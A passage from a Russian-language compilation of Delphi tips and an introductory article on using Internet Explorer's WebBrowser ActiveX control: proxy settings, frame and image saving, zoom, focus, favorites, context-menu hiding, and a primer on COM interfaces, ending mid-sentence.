OLECMDID_REFRESH OLECMDID_STOP OLECMDID_HIDETOOLBARS
OLECMDID_SETPROGRESSMAX OLECMDID_SETPROGRESSPOS
OLECMDID_SETPROGRESSTEXT
OLECMDID_SETTITLE OLECMDID_SETDOWNLOADSTATE OLECMDID_STOPDOWNLOAD
OLECMDID_FIND OLECMDID_ONTOOLBARACTIVATED OLECMDID_DELETE
OLECMDID_HTTPEQUIV OLECMDID_ENABLE_INTERACTION OLECMDID_HTTPEQUIV_DONE
OLECMDID_ONUNLOAD OLECMDID_PROPERTYBAG2 OLECMDID_PREREFRESH
Свои настройки Proxy в программе с TWebBrowser.
Автор: Павел Сразу скажу, что эта статья - маленькая рекомендация тем, кто хочет реализовать возможность работы TWebBrowser в своей программе с настройками Proxy , которые отличаются от стандартных.В один прекрасный день мне понадобилось в программе периодически менять Proxy и при этом пользоваться всем, что предоставляет IE. Лучший и единственный выбор - TwebBrowser. При близком знакомстве с ним стало понятно, что через Proxy он работать не может (вернее может, но берет настройки из "Свойств обозревателя"). Перспектива постоянно менять настройки реестра меня не прельщала. И как назло ни в одной крупной конференции не было даже упоминания о возможности настройки Proxy в ходе выполнения программы кроме изменения реестра (может плохо искал). Перерыв Fido-архивы и конференции Инета накаткнулся на win-функцию UrlMkSetSessionOption. Вот к чему привели мои изыскания :
....
uses...urlmon, wininet...
....
var
PIInfo: PInternetProxyInfo;
begin
New(PIInfo);
PIInfo^.dwAccessType := INTERNET_OPEN_TYPE_PROXY;
// Изменение настроек ПРОКСИ
PIInfo^.lpszProxy := PChar('some.proxy:someport');
// указать прокси напр.
195.43.67.33: 8080
PIInfo^.lpszProxyBypass := PChar('');
// Список адресов, доступ к которым возможен минуя Proxy сервер
UrlMkSetSessionOption(INTERNET_OPTION_PROXY, piinfo,
SizeOf(Internet_Proxy_Info), 0);
....
Dispose(PIInfo);
....
Вызывать функцию UrlMkSetSessionOption можно из любого места программы, причем любое количество раз и с разными настройками.
После вызова функции TWebBrowser будет работать через указанный прокси. Еще раз повторюсь настройки касаются только текущей сессии (программы на момент выполнения ), общие настройки Windows не изменяются.
Получить доступ к радио кнопкам в TWebBrowser.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses
MSHTML;
procedure TForm1.Button1Click(Sender: TObject);
var
Document: IHTMLDocument2;
rbTestList: IHTMLElementCollection;
rbTest: IHTMLOptionButtonElement;
I: Integer;
begin
// Get a reference to the document
// Referenz auf Dokument
Document := WebBrowser1.Document as IHTMLDocument2;
// Get a reference to input-control (Radiobutton)
// Referenz auf Eingabe-Control-Element (Radiobutton)
rbTestList := Document.all.item('rating', EmptyParam) as IHTMLElementCollection;
// Get current values.
// Aktuellen Wert auslesen
for I := 0 to rbTestList.Length - 1 do
begin
// reference to the i. RadioButton
// Referenz auf i. RadioButton
rbTest := rbTestList.item(I, EmptyParam) as IHTMLOptionButtonElement;
// Show a message if radiobutton is checked
// Anzeigen, wenn dieser RadioButton ausgewahlt
if rbTest.Checked then
ShowMessageFmt('Der RadioButton mit dem Wert %s' +
' ist ausgewahlt!', [rbTest.Value]);
end;
// Set new values
// Neuen Wert setzen
for I := 0 to rbTestList.Length - 1 do
begin
// reference to the i. RadioButton
// Referenz auf i. RadioButton
rbTest := rbTestList.item(I, EmptyParam) as IHTMLOptionButtonElement;
// check radiobutton with value 3.
// Wir mochten den RadioButton mit dem Wert "3" aktivieren
if rbTest.Value = '3' then
rbTest.Checked := True;
end;
end;
Сохранить исходный код всех фреймов TWebBrowser.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses
ActiveX;
function TForm1.GetFrame(FrameNo: Integer): IWebbrowser2;
var
OleContainer: IOleContainer;
enum: IEnumUnknown;
unk: IUnknown;
Fetched: PLongint;
begin
while Webbrowser1.ReadyState <> READYSTATE_COMPLETE do
Application.ProcessMessages;
if Assigned(Webbrowser1.document) then
begin
Fetched := nil;
OleContainer := Webbrowser1.Document as IOleContainer;
OleContainer.EnumObjects(OLECONTF_EMBEDDINGS, Enum);
Enum.Skip(FrameNo);
Enum.Next(1, Unk, Fetched);
Result := Unk as IWebbrowser2;
end
else
Result := nil;
end;
// Load sample page
// Testseite laden
procedure TForm1.Button1Click(Sender: TObject);
begin
Webbrowser1.Navigate('http://www.warebizprogramming.com/tutorials/html/framesEx1.htm');
end;
// Save all frames in single files
// Alle Frameseiten in einzelne Dateien speichern
procedure TForm1.Button2Click(Sender: TObject);
var
IpStream: IPersistStreamInit;
AStream: TMemoryStream;
iw: IWebbrowser2;
i: Integer;
sl: TStringList;
begin
for i := 0 to Webbrowser1.OleObject.Document.frames.Length - 1 do
begin
iw := GetFrame(i);
AStream := TMemoryStream.Create;
try
IpStream := iw.document as IPersistStreamInit;
if Succeeded(IpStream.save(TStreamadapter.Create(AStream), True)) then
begin
AStream.Seek(0, 0);
sl := TStringList.Create;
sl.LoadFromStream(AStream);
sl.SaveToFile('c:\frame' + IntToStr(i) + '.txt');
// memo1.Lines.LoadFromStream(AStream);
sl.Free;
end;
except
end;
AStream.Free;
end;
end;
end.
Сохранить все картинки TWebBrowser.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses
UrlMon;
function DownloadFile(SourceFile, DestFile: string): Boolean;
begin
try
Result := UrlDownloadToFile(nil, PChar(SourceFile), PChar(DestFile), 0,
nil) = 0;
except
Result := False;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
k, p: Integer;
Source, dest, ext: string;
begin
for k := 0 to WebBrowser1.OleObject.Document.Images.Length - 1 do
begin
Source := WebBrowser1.OleObject.Document.Images.Item(k).Src;
p := LastDelimiter('.', Source);
ext := UpperCase(Copy(Source, p + 1, Length(Source)));
if (ext = 'GIF') or (ext = 'JPG') then
begin
p := LastDelimiter('/', Source);
dest := ExtractFilePath(ParamStr(0)) + Copy(Source, p + 1,
Length(Source));
DownloadFile(Source, dest);
end;
end;
end;
Передать фокус TWebBrowser.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
Jeder der mal TWebBrowser.SetFocus ausprobiert hat,
musste feststellen, dass der Fokus nicht auf das Webbrowser
Dokument (eine Webseite) setzt, sondern auf das Webbrowser Control,
was uns nicht gerade viel bringt.
Hier werden zwei Moglichkeiten beschrieben, wie man den Fokus auf
die "Webseite" (d.h Dokument des Webbrowser) setzen kann.
{
{
Anyone that has worked with TWebBrowser knows that the
TWebBrowser.SetFocus procedure doesn't set focus on the "web page",
but rather on the control itself, which doesn't do us a whole lot of good.
Here are two possibilities to set the focus on the "web page" (i.e., document):
}
uses
ActiveX;
begin
WebBrowser1.Navigate('irgendeinedatei.html');
with WebBrowser1 do
if Document <> nil then
with Application as IOleobject do
DoVerb(OLEIVERB_UIACTIVATE, nil, WebBrowser1, 0, Handle,
GetClientRect);
end;
Передать фокус TWebBrowser 2.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses
MSHTML;
begin
WebBrowser1.Navigate('irgendeinedatei.html');
repeat
Application.ProcessMessages;
until WebBrowser1.ReadyState >= READYSTATE_COMPLETE;
if WebBrowser1.Document <> nil then
(Webbrowser1.Document as IHTMLDocument2).ParentWindow.Focus;
end;
Сохранить страницу TWebBrowser в Bitmap.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses
MSHTML_TLB, JPEG, ActiveX, ComObj;
procedure generateJPEGfromBrowser(browser: iWebBrowser2; jpegFQFilename: string;
srcHeight: Integer; srcWidth: Integer; tarHeight: Integer; tarWidth: Integer);
var
sourceDrawRect: TRect;
targetDrawRect: TRect;
sourceBitmap: TBitmap;
targetBitmap: TBitmap;
jpeg: TJPEGImage;
viewObject: IViewObject;
begin
sourceBitmap := TBitmap.Create;
targetBitmap := TBitmap.Create;
jpeg := TJPEGImage.Create;
try
try
sourceDrawRect := Rect(0, 0, srcWidth, srcHeight);
sourceBitmap.Width := srcWidth;
sourceBitmap.Height := srcHeight;
viewObject := browser as IViewObject;
if viewObject = nil then
Exit;
OleCheck(viewObject.Draw(DVASPECT_CONTENT, 1, nil, nil, Form1.Handle,
sourceBitmap.Canvas.Handle, @sourceDrawRect, nil, nil, 0));
// Resize the src bitmap to the target bitmap
targetDrawRect := Rect(0, 0, tarWidth, tarHeight);
targetBitmap.Height := tarHeight;
targetBitmap.Width := tarWidth;
targetBitmap.Canvas.StretchDraw(targetDrawRect, sourceBitmap);
// Create a JPEG from the Bitmap and save it
jpeg.Assign(targetBitmap);
jpeg.SaveToFile(jpegFQFilename);
finally
jpeg.Free;
sourceBitmap.Free;
targetBitmap.Free;
end;
except
// Error Code
end;
end;
procedure TForm1.btnButton1Click(Sender: TObject);
var
IDoc1: IHTMLDocument2;
Web: ShDocVW_TLB.IWebBrowser2;
tmpX, tmpY: Integer;
begin
with WebBrowser1 do
begin
Document.QueryInterface(IHTMLDocument2, iDoc1);
Web := ControlInterface;
tmpX := Height;
tmpY := Width;
TControl(WebBrowser1).Visible := Boolean(0);
Height := OleObject.Document.ParentWindow.Screen.Height;
Width := OleObject.Document.ParentWindow.Screen.Width;
generateJPEGfromBrowser(Web,'c:\test.jpg',Height, Width, Height, Width);
Height := tmpX;
Width := tmpY;
TControl(WebBrowser1).Visible := Boolean(1);
end;
end;
Масштабирование страницы в TWebBrowser.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure TForm1.Button1Click(Sender: TObject);
begin
//75% of original size
WebBrowser1.OleObject.Document.Body.Style.Zoom := 0.75;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
//original size
WebBrowser1.OleObject.Document.Body.Style.Zoom := 1;
end;
{A page must be already loaded into TWebBrowser}
{Eine Seite muss bereits in TWebBrowser geladen sein}
//.zoom:=0.25; //25%
//.zoom:=0.5; //50%
//.zoom:=1.5; //100%
//.zoom:=2.0; //200%
//.zoom:=5.0; //500%
//.zoom:=10.0; //1000%
{----------}
uses
OleCtrls, SHDocVw;
{
Suppose That you want to use for buttons to give you the zooming
(text size) options of MSIE,
Button1 for smallest, Button2 for small, Button3 for medium,
Button4 for large and Button5 for Largest,
You have to set the value of the tag property for each button as following:
0: for the smallest text size,
1: for the small,
2: for medium,
3: for large,
4: for the largest.
}
procedure TForm1.Button1Click(Sender: TObject);
var
ZoomFac: OLEVariant;
begin
ZoomFac := TButton(Sender).Tag;
WebBrowser1.ExecWB(OLECMDID_ZOOM, OLECMDEXECOPT_PROMPTUSER, ZoomFac);
end;
Как добавить текущую страницу TWebBrowser в Favorites.
Автор: http://www.swissdelphicenter.ch
// You need: 1 TEdit, 2 TButtons, 1 TWebbrowser
// Du brauchst: 1 TEdit, 2 TButtons, 1 TWebbrowser
const
NotAllowed: set of Char = ['"'] + ['/'] + ['\'] + ['?'] + [':'] + ['*'] +
['<'] + ['>'] + ['|'];
implementation
{$R *.DFM}
function Load(Path, Key: string): string;
var
Reg: TRegistry;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey(Path, False);
try
Result := Reg.ReadString(Key);
except
Result := '';
end;
Reg.CloseKey;
finally
Reg.Free;
end;
end;
function WinDir: string;
var
WinDir: PChar;
begin
WinDir := StrAlloc(MAX_PATH);
GetWindowsDirectory(WinDir, MAX_PATH);
Result := string(WinDir);
if Result[Length(Result)] <> '\' then
Result := Result + '\';
StrDispose(WinDir);
end;
function GetSysDir: string;
var
dir: array[0..MAX_PATH] of Char;
begin
GetSystemDirectory(dir, MAX_PATH);
Result := StrPas(dir);
end;
// Navigate to a page
procedure TForm1.Button1Click(Sender: TObject);
begin
Webbrowser1.Navigate(edit1.Text);
end;
// Add the current page to the favorites
procedure TForm1.Button2Click(Sender: TObject);
var
url: TStringList;
fav: string;
title, b: string;
i: Integer;
c: Char;
begin
fav := Load('Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders',
'Favorites');
url := TStringList.Create;
try
url.Add('[InternetShortcut]');
url.Add('URL=' + webbrowser1.LocationURL);
url.Add('WorkingDirectory=' + WinDir());
url.Add('IconIndex=0');
url.Add('ShowCommand=7');
url.Add('IconFile=' + GetSysDir() + '\url.dll');
title := Webbrowser1.LocationName;
b := '';
for i := 1 to Length(title) do
begin
c := title[i];
if not (c in NotAllowed) then
begin
b := b + Webbrowser1.LocationName[i];
end;
end;
url.SaveToFile(fav + '\' + b + '.url');
finally
url.Free;
end;
end;
end.
Как поменять цвет скроллбаров в TWebBrowser.
| Программа, позволяющая сэкономить деньги на интернет-соединениях. Установите программу. Запустите, перейдите на вкладку "Настройки", введите в поля тарифы вашего провайдера, нажмите кнопку "Ок". В появившемся диалоговом окне выберите пункт меню "Сжечь модем". |
procedure TForm1.Button1Click(Sender: TObject);
begin
with WebBrowser1 do
begin
OleObject.document.body.Style.scrollbarArrowColor := '#0099FF';
OleObject.document.body.Style.scrollbar3DLIGHTCOLOR := '#FFFFFF';
OleObject.document.body.Style.scrollbarDarkShadowColor := '#0099FF';
OleObject.document.body.Style.scrollbarFaceColor := '#99CCFF';
OleObject.document.body.Style.scrollbarHighlightColor := '#0099FF';
OleObject.Document.body.Style.scrollbarShadowColor := '#0099FF';
OleObject.Document.body.Style.scrollbarTrackColor := '#FFFFFF';
end;
end;
|
Использование Drag and Drop для заполнения полей в TWebBrowser.
Автор: http://www.swissdelphicenter.ch
{
This example shows how to fill out fields in your webbrowser by
dragging the content of Label1 to a field of your webbrowser
}
procedure TForm1.FormCreate(Sender: TObject);
begin
label1.DragMode := dmAutomatic;
end;
procedure TForm1.WebBrowserDragOver(Sender, Source: TObject; X,
Y: Integer; State: TDragState; var Accept: Boolean);
var
item: Variant;
begin
//check if document is interactive
if (Webbrowser.ReadyState and READYSTATE_INTERACTIVE) = 3 then
begin
item := WebBrowser.OleObject.Document.elementFromPoint(x, y);
if Source is TLabel then
Accept := True;
Accept := (item.tagname = 'INPUT') and ((item.type = 'text') or
(item.type = 'password')) or (item.tagname = 'TEXTAREA');
end;
end;
procedure TForm1.WebBrowserDragDrop(Sender, Source: TObject; X,
Y: Integer);
var
item: Variant;
begin
//check if document is interactive
if (Webbrowser.ReadyState and READYSTATE_INTERACTIVE) = 3 then
begin
item := WebBrowser.OleObject.Document.elementFromPoint(x, y);
item.Value := label1.Caption;
end;
end;
Получить все URLs фреймов в TWebBrowser.
| Звонок в компьютерную контору: - У меня с модемом проблемы, компьютер его не видит... - Как не видит? - Да пишет все время: "Не могу найти модем... подключите модем". - А вы модем подключать к компьютеру пробовали? - Хм... нет... Как-то в голову не приходило. |
procedure TForm1.Button2Click(Sender: TObject);
var
i: Integer;
begin
Listbox1.Clear;
//if frames available
if Webbrowser1.OleObject.Document.Frames.Length <> 0 then
begin
//walk through all frames and get the url
//to the Listbox
for i := 0 to Webbrowser1.OleObject.Document.Frames.Length - 1 do
begin
Listbox1.Items.Add(Webbrowser1.OleObject.Document.Frames.item(i).Document.URL);
end;
end;
end;
|
Как скрыть контекстное меню TWebBrowser.
Автор: http://www.swissdelphicenter.ch
var
HookID: THandle;
function MouseProc(nCode: Integer; wParam, lParam: Longint): Longint; stdcall;
var
szClassName: array[0..255] of Char;
const
ie_name = 'Internet Explorer_Server';
begin
case nCode < 0 of
True:
Result := CallNextHookEx(HookID, nCode, wParam, lParam)
else
case wParam of
WM_RBUTTONDOWN,
WM_RBUTTONUP:
begin
GetClassName(PMOUSEHOOKSTRUCT(lParam)^.HWND, szClassName,
SizeOf(szClassName));
if lstrcmp(@szClassName[0], @ie_name[1]) = 0 then
Result := HC_SKIP
else
Result := CallNextHookEx(HookID, nCode, wParam, lParam);
end
else
Result := CallNextHookEx(HookID, nCode, wParam, lParam);
end;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
HookID := SetWindowsHookEx(WH_MOUSE, MouseProc, 0, GetCurrentThreadId());
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
if HookID <> 0 then
UnHookWindowsHookEx(HookID);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
Webbrowser1.Navigate('http://www.google.com');
end;
Как загрузить HTML код непосредственно в TWebBrowser.
Автор: http://www.swissdelphicenter.ch
uses
ActiveX;
procedure WB_LoadHTML(WebBrowser: TWebBrowser; HTMLCode: string);
var
sl: TStringList;
ms: TMemoryStream;
begin
WebBrowser.Navigate('about:blank');
while WebBrowser.ReadyState < READYSTATE_INTERACTIVE do
Application.ProcessMessages;
if Assigned(WebBrowser.Document) then
begin
sl := TStringList.Create;
try
ms := TMemoryStream.Create;
try
sl.Text := HTMLCode;
sl.SaveToStream(ms);
ms.Seek(0, 0);
(WebBrowser.Document as
IPersistStreamInit).Load(TStreamAdapter.Create(ms));
finally
ms.Free;
end;
finally
sl.Free;
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
WB_LoadHTML(WebBrowser1, 'SwissDelphiCenter');
end;
Как добраться до конкретного фрейма.
Автор: Good Man WEB-сайт: http://forum.vingrad.ru
var HTML_Doc: IHTMLDocument2; Window: IHTMLWindow2; oRange1: variant; name_frame: OleVariant; begin HTML_Doc := WebBrowser1.Document as IHTMLDocument2; Window := HTML_Doc.parentWindow as IHTMLWindow2; name_frame := 'mainFrame'; oRange1 := Window.frames.item(name_frame).document.body.createTextRange;
Использование функциональности IE или заметки о WebBrowser.
Оформил: DeeCo
Автор: Игорь Осов'як.
Содержание:
Введение. Где в Delphi живет WebBrowser? Начало Где искать информацию? Несколько слов о реализации простого веб-броузера и не только .. Итак, маленькое лирическое отступление в сторону COM И снова об WebBrowser Простой парсинг Введение. Довольно часто современному программисту приходится решать вопросы, которые связанные с отображением или обработкой информации, представленной в виде html-ресурсов. Например, на некотором сайте приводятся ежедневные котировки акций и Вам нужно собирать и обрабатывать статистку за определенный период времени. Или нужно создать сторожа, который "наблюдает" за он-лайн прайс-листом конкурента и который должен "предупреждать" об изменениях цены на определенные позиции. Или нужно написать "паука", который должен пробегать по некоторому сайту в поисках определенного текста, причем в процессе пробежки ему нужно заполнить несколько регистрационных форм, а фрагменты текста, которые он отыскал - выделить определенным цветом. Можно назвать бесконечно много подобных примеров, но суть их сводится к одному - получение веб-страницы, извлечение из нее определенной части HTML-кода программными средствами (парсинг), и, возможно, программное влияние на эту часть кода. Можно, конечно, используя WinInet.dll, получить доступ к требуемому веб-ресурсу, а затем с помощью многочисленных строковых функций получить интересующею нас ее часть. Эта технология вполне работает, но довольно трудоемкая и, в большинстве случаев далека от элегантности. Другой путь - использование функциональности Microsoft Internet Explorer. Internet Explorer (далее - IE)- это не одна отдельная программа, а целая коллекция компонент, которые можно использовать при разработке своих приложений. Наиболее интересными с точки зрения прикладного программиста есть компоненты из shdocvw.dll и mshtml.dll. Первая DLL содержит WebBrowser - Microsoft ActiveX control, используемый для визуального просмотра веб-страниц (рабочая область окна Internet Explorer и есть тот самый компонент WebBrowser). Вторая DLL содержит синтаксический анализатор HTML кода, а также средства взаимодействия с отдельными элементами этого кода. По скромному мнению автора этой статьи - Microsoft Internet Explorer в том виде, в котором он существует в настоящее время, есть очень удачный пример использования COM-технологии.Целью написания этого цикла статей есть демонстрация некоторых приемов использования функциональности ActiveX-контрола WebBrowser в прикладных дельфийских программах. Автор не претендует на какое-то новшество в этом вопросе. Все, что Вы прочитаете далее, уже более-менее подробно описано в многочисленных веб-ресурсах. То небольшое, что отличает этот материал (по мнению автора) от аналогичных - это во-первых, ориентация на Delphi, а во вторых - обобщение личного опыта автора, а не пересказ выдержек с MSDN. Также эти статьи есть своего рода благодарность тем людям, которые довольно сильно помогли мне в то время, когда я делал первые шаги в направлении, к которому имеет отношение эта статья. Я особенно благодарен Борису Ладугину за тот "ликбез" в части COM, который он провел со мной в личной переписке, а также Лене Филиповой и всем местным жителям, советы которых на "круглом столе" не раз давали толчок для движения в верном направлении.
Автор рассчитывает на то, что читатель уже имеет некоторый опыт программирования на Delphi и хотя бы в общих чертах знаком с COM-технологиями. Хотя автор "разборку" с WebBrowser и COM делал одновременно. Для тех читателей, которые не знакомы с COM, я постараюсь по ходу дела делать маленькие отступления, которые конечно, не заменят специализированного материала, но, надеюсь, дадут хотя бы направление поиска в случае затруднений.Где в Delphi живет WebBrowser?
Для любого зарегистрированного в палитре ActivX-контрола Delphi при импорте создает класс-оболочку, которая наследуется от TOleControl . Для начала не станем углубляться в особенности TOleControl и производных от нее оболочек - ибо сие дело поначалу может не так прояснить, как запутать ситуацию. Отметим только, что оболочка и сам ActiveX есть несколько разные вещи. Собственно TOleControl и производные от него оболочки есть не более, чем средство, которое обеспечивают возможность работы с ActiveX, как с "родными" VCL-компонентами. Для WebBrowser от IE такой оболочкой есть TWebBrowser. Если Вы используете Delphi5, то соответствующий компонент можно отыскать на закладке "Internet " палитры компонентов. Если Вы работаете с Delphi4 , то Вам нужно провести импорт соответствующего ActiveX-контрола. Для этого следует воспользоваться меню "Import ActiveX Control" и в списке ActiveX выбрать "Microsoft Internet Controls" (разумеется, у Вас должен быть установлен IE). Компонент-оболочка по умолчанию устанавливается на закладку "ActiveX" палитры компонентов. Если Вам нужен не только компонент для отображения Web-страниц, а Вы еще собираетесь проводить парсинг загруженных страниц, то Вам также следует провести импорт mshtml.dll. Это можно сделать при помощи меню Import Type Library, выбрав в списке строчку Microsoft HTML Object Library. Даже если Вы используете Delphi5, в определенных случаях есть смысл исключить предустановленный компонент TWebBrowser и провести импорт соответствующих компонентов самостоятельно. Это может быть необходимым в случае, если Вы желаете написать приложение, совместимое с IE4, а в Delphi5 модули mshtml.pas и shdocvw.pas рассчитаны на использование IE5. И как следствие, довольно много интерфейсов, которые декларируются в соответствующих модулях, не будут поддерживаться IE4 (к примеру, тот же IHTMLDocument3). Или наоборот, Вас, возможно, заинтересовала какая-то особенность новой версии IE, декларация которой отсутствует в mshtml.pas (или shdocvw.pas) c поставки Delphi. Если Вы решитесь для Delphi5 проводить самостоятельный импорт mshtml.dll через Import Type Library - уберите галочку с "Generate Component Wrapper" - в противном случае Delphi создаст никому не нужные класы-оболочки для интерфейсов и раздует результирующий файл (mshtml_tbl.pas)до несусветных размеров. Понятно, что если Вы провели импорт, то в Delphi5 Вам вместоuses mshtml, shdocvw;придется использовать
uses mshtml_tbl, shdocvw_tbl;Если Вы проведете импорт, то Вы наверняка обратите внимание на то, что помимо упоминаемого TWebBrowser рядышком будет TWebBrowser_V1. Что это за зверь? Ответ довольно прост - это совместимый с IE3 контрол. В IE4 он введен для совместимости с теми прикладными программами, которые разрабатывались в расчете на IE3. И заканчивая тему экспорта - в библиотеке типов от IE довольно часто используются имена, которые есть зарезервироваными для Delphi. В большинстве случаев Delphi справляется с этой задачей (к примеру переименовывая метод type некоего интерфейса в type_). Но для mshtml.dll от IE5 есть один неприятный момент - там декларируется константа
const True = $00000001;И если Вы делаете импорт в Delphi4 - то никакого переименования не происходит. B как следствие в каком-то безобидном месте наподобие нижеследующего
implemantation uses mshtml_tbl; function IsOk: boolean; begin result := true; // ..... end;получаете сообщение компилятора о несовместимости типов. Что делать? Или смирится и писать:
result := system.true;или "научить" Delphi4 обходному маневру: перед импортом mshtml.dll добавить в DELPHI\BIN\tlibimp.sym две строчки:
True FalseНачало Где искать информацию? Итак, мы уже разобрались, где наш контрол живет. И как его импортировать в случае необходимости. Теперь несколько слов об дополнительных источниках информации. Если Вы работаете с Delphi5, то для начала можно посмотреть встроенную контекстную справку по TWebBrowser. Но к сожаленью, она довольно скудна, и описывает (и то поверхностно) только основные свойства компонента TWebBrowser. Вы ни слова не найдете об возможностях mshtml.dll (а там запрятаны основные вкусности). Наиболее радикальное решение - приобрести свежее издание MSDN (или работать с ее онлайновой версией http://msdn.microsoft.com). Но и при таком решении не все будет гладко - так как MSDN в первую очередь не учебник, а справочник. И к тому же некоторые аспекты в нем освещены не так полно, как хотелось бы. Но увы, это пожалуй наиболее полный источник информации, пробелы в котором можно компенсировать только многочисленными экспериментами и анализом происходящего. Ответ на конкретный вопрос можно попытаться отыскать в конференциях. Можно и в "общих", таких как старый, добрый fido7.delphi.ru, или здесь, на Круглом столе. А также в "специализированных" - http://www.talk.ru/forum/talk.ru.delphi.webbrowser и http://www.egroups.com/group/delphi-webbrowser (последняя - англоязычная). Также рекомендую сайт IE & Delphi . Я также надеюсь, что время, затраченное мной на написание, а Вами на прочтение этой статьи, потрачено не зря. Ну, а если Вы находитесь в самом начале пути - то можно просмотреть статью Александра Лозовюка Как сделать WebBrowser средствами Delphi 5 (рубрика Hello, world ) ...
Несколько слов о реализации простого веб-броузера и не только ..
В принципе, создать простенький веб-броузер c использованием TWebBrowser - дело мало чем более одной минуты. Открываем новый проект, центрируем форму, в нижней части размещаем панель, на которую бросаем ComboBox для вввода URL, слева от нее соответствующий Label, справа кнопочку "Go". Разместим также главное действующие лицо TWebBrowser над панелью. Дадим более-менее вразумительные имена нашим компонентам (например, ComboBox можно назвать "selUrl"), проставим соответствующие опции выравнивания. Ну, и самая "трудная" часть задачи - создадим обработчик нажатия на кнопочку "Go":procedure TFormSimpleWB.btGoClick(Sender: TObject); var _URL, Flags, TargetFrameName, PostData, Headers: Olevariant; begin _URL := selUrl.Text; Flags := 0; TargetFrameName := 0; Postdata := 0; Headers := 0; WebBrowser1.Navigate2(_URL, Flags, TargetFrameName, PostData, Headers); end;Исходники этого "шедевра" (Delphi5) c теми дополнениями, о которых речь идет ниже, можно взять здесь (3k) Ну а теперь несколько более подробно. Для начала посмотрим список методов и свойств TWebBrowser. Здесь следует отличать "обычные" методы и свойства компонентов VCL, и те, которые "отражают" методы соответствующего ActiveX элемента. Первые нас не очень интересуют (если читатель имеет хотя бы небольшой опыт работы с Delphi, то по отношению к чисто VCL-свойствам типа Align , TabOrder ему должно быть все понятно.) Остановимся на второй группе свойств и методов.Их можно разделить на две группы - те, которые "отражают" default-интерфейс (в нашем случае это IWebBrowser2 и те, которые "отражают" нотификационный интерфейс DWebBrowserEvents2 ). "Связку" между методами интерфейсов и методами класса-оболочки делает експерт импорта ActiveX, основываясь на особенностях реализации TOleControl. Проанализируйте исходники TOleControl и TWebBrowser - и Вы увидите эти связки. Это довольно интересное и довольно утомительное занятие ... Лично мне до конца пройти этот путь не хватило терпения - я остановился на той стадии, когда начал более-менее понимать основные принципы интеграции ActiveX в VCL. Для заинтересовавшихся подсказка - обратите в первую очередь внимание на методы TWebBrowser.InitControlData и на TOleControl.GetEventMethod(DispID: TDispID; var Method: TMethod); Да, вполне возможно, что читатель не знаком с основами СОМ, и понятия "интерфейс", "нотификационный интерфейс" ему ни о чем не говорят. Я не знаю, смогу ли я в двух-трех предложениях компенсировать этот пробел. Но все - же попытаюсь. Если читатель ориентируется в COM-технологиях, но следующих несколько абзацев можно пропустить.
Итак, маленькое лирическое отступление в сторону COM.
COM - это есть во первых, некий набор не нарушаемых ни при каких условиях правил, согласно которым одни программные объекты могут воспользоваться ресурсами других программных обьектов, а также средства операционной системы, которые обеспечивают это взаимодействие. Причем те объекты, которые используют ресурсы (далее клиенты), никогда не получают полного контроля над объектами, которые эти ресурсы отдают (далее - компоненты, или объекты COM)... Мало того, клиенту даже не обязательно иметь представление об общем устройстве объекта COM. Для их взаимодействия важно наличие оговоренного интерфейса взаимодействия и гарантии того, что этот интерфейс никогда не будет изменен. Здесь под интерфейсом понимается набор определенных методов, которые должны быть реализованы объектом COM, и которые "предоставляются" клиенту. На уровне бинарного кода за интерфейсом стоит некая структура в памяти, которую реализует объект COM и которая предоставляет собой некую таблицу адресов методов обьекта COM. Когда говорят, что клиент получил интерфейс, то понимают, что ему стал известен адрес той структуры. Кроме того, клиент "знает", в каком порядке идут точки вхождения в этой таблице для соответствующих методов, так как клиент знаком с соответствующей спецификацией.
Внимательный читатель задаст вопрос - а как же с разделением адресного пространства, ведь довольно часто клиент и объект COM живут в разных процессах, и следовательно их адресные пространства изолированы друг от друга? Как же тогда клиент и объект COM работают с одной таблицей? Эту проблему решает библиотека поддержки СОМ, которая внедряет в адресное пространство клиента и сервера специальные служебные объекты, называемые заместителями (для клиента) и заглушками (для сервера) (здесь под сервером понимается тот процесс, который создал один или несколько экземпляров объектов COM). Таким образом клиент будет взаимодействовать с заглушкой, а сервер с заместителем. Организация взаимодействия между заглушкой и заместителем - проблема библиотеки поддержки COM. К счастью, вся эта алхимия в большинстве случаев не требует от программиста какого-то либо вмешательства. Я во всяком случае, встречал довольно много программистов, которые активно используют COM-технологии, но понятия не имеют о тех вещах, которых мы вскользь коснулись выше.
Подытоживая, можно сказать,что интерфейс есть спецификация, которая на на уровне бинарного кода "отражается" в таблицу вызовов в памяти. В СОМ интерфейсы - это все. Для клиента сервер представляет собой набор интерфейсов. Клиент с сервером может взаимодействовать только посредством интерфейсов. Мало того, клиент даже может не знать о всех интерфейсах, поддерживаемых сервером. Все интерфейсы наследуются от базового интерфейса IUnnknown . Причем, если говорят о наследовании интерфейсов, то понимают не наследование реализации (с ней мы имеем дело, когда работаем в пределах объектной модели хотя бы того же Delphi), а наследование деклараций. Под наследованием деклараций понимается то, что если некий интерфейс IB наследуется от интерфейса IA, то в соответствующей таблице вызовов для интерфейса IB сначала будут идти адреса методов, которые декларируются в IA, а затем адреса методов от IB. Причем списки формальных параметров наследуемых методов не должны быть изменены. Если вспомнить, что интерфейсы есть спецификации, то становится понятным, почему по отношению к ним может идти речь только о наследовании деклараций. Конечно, при реализации конкретного COM-обьекта можно использовать технологию наследования реализации, но это будет внутреннее дело объекта, которое никак не затрагивает клиента. В завершение разговора об COM, я хотел бы упомянуть о некоторых методах базового интерфейса IUnnknown, так как во первых, эти методы присутствуют в любом интерфейсе (вспомним о наследовании деклараций и о том, что любой интерфейс наследуется от IUnnknown) и во вторых, на использовании этих методов строится вся идеология работы с COM. Итак, разрешите представить - QueryInterface. С помощью этого интерфейса клиент может определить, поддерживает ли COM-обьектом какой либо другой интерфейс, который известен клиенту, и получить указатель на тот интерфейс, если он 